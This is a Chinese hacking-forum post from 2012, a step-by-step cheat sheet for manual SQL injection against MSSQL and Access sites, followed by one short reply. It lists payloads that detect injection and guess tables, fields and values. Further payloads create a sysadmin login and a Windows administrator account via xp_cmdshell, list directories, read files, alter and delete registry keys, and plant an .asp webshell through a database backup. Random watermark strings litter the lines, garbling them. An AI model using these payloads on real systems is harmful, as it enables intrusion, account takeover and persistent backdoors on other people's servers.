找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2229|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 4 p# ]$ {* v2 i9 j4 U5 s% Y+ [
1.判断是否有注入;and 1=1 ;and 1=2
* p" |; l0 O9 V& |
( O% n- C: x$ D2 x( j2.初步判断是否是mssql ;and user>0 ( ]4 z, J4 O& y4 I* e
# x+ v9 U5 V  D( g2 u
3.注入参数是字符'and [查询条件] and ''=' " m; D2 Q9 n/ b& W0 L% ^/ }  S
( |$ v& \% M8 G7 p9 J  x) l, o: |6 v  ~
4.搜索时没过滤参数的'and [查询条件] and '%25'='
7 B6 ?, w9 D' X0 Z; ^, k) \% D6 K5 Z6 z9 c" s/ f$ {
5.判断数据库系统
0 l2 U1 B6 |! A  B# i8 e9 o6 u;and (select count(*) from sysobjects)>0 mssql
$ @7 V. U9 g7 p& {/ @( j, u;and (select count(*) from msysobjects)>0 access 5 K- T$ @- R9 ^3 G4 a1 t
7 r1 R( Q( g" F+ l% Q+ J
6.猜数据库 ;and (select Count(*) from [数据库名])>0 / H! ~- u. C; `1 i

; E" o1 l8 c% g7.猜字段 ;and (select Count(字段名) from 数据库名)>0
% U0 B0 [5 J  r. X( p
$ l* c. O& D7 X4 R! k* z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 + Z" ^8 p' G( u$ X& V; ^; n

4 h8 i# i  f8 m9 h) n9.(1)猜字段的ascii值(access)
, a+ I) ^8 n6 y; K# W;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0   F: O4 |6 c8 l! u0 h% k1 y
1 O: x  [3 @* J3 f4 r
(2)猜字段的ascii值(mssql)
' m$ Z4 q! g7 ?1 V' Y;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 Y: `) V# a/ ], l4 @" t' q1 k: q
$ e/ P/ ~. O6 ^/ I9 \' U10.测试权限结构(mssql)
( @3 y( v' l8 q;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2 C2 g% f$ K; `. N
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- + }+ Y, y6 d; L
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- , S8 C* ?0 \3 u: Q3 y5 J* j
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- # ~! C4 h0 m9 T1 L. A
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 5 b$ ~' a6 Y& c1 X
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
" m9 Q8 Z. `; D0 o# X;and 1=(select IS_MEMBER('db_owner'));--
( I! ~" x: Z4 G) z0 P
8 z& D  Z8 N3 \: O5 W7 I11.添加mssql和系统的帐户
2 @% r: ]( f- t7 ~6 K  y;exec master.dbo.sp_addlogin username;-- * v4 w) j% V' |( D8 x# j
$ a9 c! {- U+ f. O' n; M
;exec master.dbo.sp_password null,username,password;-- $ o# H8 f" g, o7 Z- B5 d- i' C

0 K$ m$ Y3 J% p: Z1 s% W$ r;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ( H; O4 i7 ?  ]1 u0 l' D; b

$ {  n8 c$ V/ T" d" x( }$ N;exec master.dbo.xp_cmdshell 'net user username password
$ F7 Y. ~& c3 R6 O; u& F/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 {, `2 F1 A2 h

. }* t4 h0 }' }4 u2 V0 c, K" Y;exec master.dbo.xp_cmdshell 'net user username password /add';--
* t" w: N  @' p0 T
$ ]7 K. R9 D: `% B& |* |;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 q4 M5 F) a! \! p" s* M

7 N' R# j  W5 [12.(1)遍历目录
7 {7 T% _) I) ]. C' P& m5 M9 E  }  \* I: G' b9 n* l
;create table dirs(paths varchar(100), id int) # `7 t2 ]9 u7 F! i, X! k
;insert dirs exec master.dbo.xp_dirtree 'c:\'
: H' }* H. a6 \9 U;and (select top 1 paths from dirs)>0
1 O! ]2 p$ g+ u) T) t;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 6 f# c- A* i4 Z* D! x9 x3 M

9 I1 e0 A2 l4 G' A) H. L- O(2)遍历目录   h5 q9 r5 n4 e7 v
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
. F" l9 K0 O) A0 A+ o& y;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 m$ z7 O- C, x' a8 i0 [( d& b
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
$ j! s  X2 p8 _* z;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
, k* G+ b1 x  c- f( V8 Z;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1 N9 G0 ~2 |. N. @
! [' G( A# c+ l" f; o+ g
13.mssql中的存储过程 ) X7 o4 J  [" m% X" V
% g; X, f; Z( r6 g( |9 H
xp_regenumvalues 注册表根键, 子键
. t: M) x5 J: i( y2 b;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8 h2 E& u6 P- |8 l3 ^+ S
! k3 v: F) {% g( R* S
xp_regread 根键,子键,键值名
) @9 z8 V" q9 U- ?* J. Z9 o;exec xp_regread   }* |) R4 c4 d. c+ m) A3 h
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1 t* F& z+ G/ A
* \. Y& ]( S/ U1 G; R
xp_regwrite 根键,子键, 值名, 值类型, 值
9 ~  ~) N4 ?/ t! u3 x8 J! ?值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 6 o4 \9 @. z5 c; f/ X- z+ o
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 # ]( z& z; }7 V

0 n, N5 y/ G- A8 h# Pxp_regdeletevalue 根键,子键,值名 1 h5 c; X* v0 R" ~& B. s
( {3 G6 [5 W, Z& A8 l+ F" o3 A9 V+ H
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
9 d- f& y- T  @7 f7 C1 D% k2 B  B! ]
1 f% D* `" l$ ]$ H# ^xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 7 X4 i" s/ J1 j3 O1 z* c1 \6 R# ?) Z

; V" v  {5 S/ \; `14.mssql的backup创建webshell 7 O) G. B1 \/ f9 g2 V' ^/ r
use model . s3 m) I6 p  G8 x; E
create table cmd(str image); , X$ x3 ]. n7 x+ `& i  ]
insert into cmd(str) values ('');
: g) h" V; S. k  b5 s% Wbackup database model to disk='c:\l.asp';
# \; X( \1 k( x! x. N, B2 g
$ h7 _* K+ t7 ~1 Z  w15.mssql内置函数
6 X1 w/ \0 z7 P;and (select @@version)>0 获得Windows的版本号 1 F  o- [! c" W& {; e9 J/ ?
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
% q+ ^" X1 w1 j& L1 d, };and (select user_name())>0 爆当前系统的连接用户 1 G, J+ {+ J) J* u) S
;and (select db_name())>0 得到当前连接的数据库
) v1 G( Q( O! o% X7 U
8 r4 P6 u( M1 {- b8 a2 E, J16.简洁的webshell 3 A9 O; L/ X6 g, K

3 ]$ H4 `! ]8 X7 v4 j9 Ruse model % Z/ G, y. ?" S- P" p
) c( m5 F" P* s/ e) f5 u# s
create table cmd(str image); 9 `3 {6 S2 u. k; B0 Y4 u. d/ M
) t, p  F3 ~6 V2 Y
insert into cmd(str) values ('');
" N* D) k& T0 H: T) \
9 ~: ?; q# z( u! Tbackup database model to disk='g:\wwwtest\l.asp'; - |, e. U2 }9 Z3 d3 l2 e! ^) H/ J* h; {

# A, N  a- F3 R) |+ f+ V% z
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表